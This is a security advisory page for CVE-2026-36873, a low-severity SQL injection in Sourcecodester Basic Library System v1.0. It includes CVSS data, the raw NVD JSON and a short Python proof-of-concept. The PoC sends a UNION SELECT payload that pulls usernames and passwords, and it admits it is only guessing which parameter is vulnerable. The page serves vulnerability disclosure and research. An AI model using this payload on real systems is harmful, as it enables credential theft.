Security Vulnerability Report
中文
CVE-2026-36873 CVSS 2.7 LOW

CVE-2026-36873

Published: 2026-04-13 13:16:42
Last Modified: 2026-04-14 17:42:59

Description

Sourcecodester Basic Library System v1.0 is vulnerable to SQL Injection in /librarysystem/load_admin.php.

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:razormist:basic_library_system:1.0:*:*:*:*:*:*:* - VULNERABLE
Sourcecodester Basic Library System 1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-36873 # Target: Sourcecodester Basic Library System v1.0 # Endpoint: /librarysystem/load_admin.php import requests target_url = "http://target-ip/librarysystem/load_admin.php" # Required Administrator Session Cookies (PR:H) cookies = { "PHPSESSID": "valid_admin_session_id_here", "user_level": "admin" } # Malicious payload to test SQL Injection # Assuming the parameter 'id' is vulnerable payload = "1' UNION SELECT 1,2,3,4,username,password FROM users-- -" params = { "id": payload } try: response = requests.get(target_url, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response for potential data leakage:") print(response.text[:500]) # Print first 500 chars for analysis else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print("[-] An error occurred:", str(e))

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-36873", "sourceIdentifier": "[email protected]", "published": "2026-04-13T13:16:41.553", "lastModified": "2026-04-14T17:42:59.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sourcecodester Basic Library System v1.0 is vulnerable to SQL Injection in /librarysystem/load_admin.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:razormist:basic_library_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "7F93EAAD-3EF5-4565-8C51-7AEBA905A0CD"}]}]}], "references": [{"url": "https://github.com/Thirtypenny77/bug_report/blob/main/sourcecodester/basic-library-system/SQL-2.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}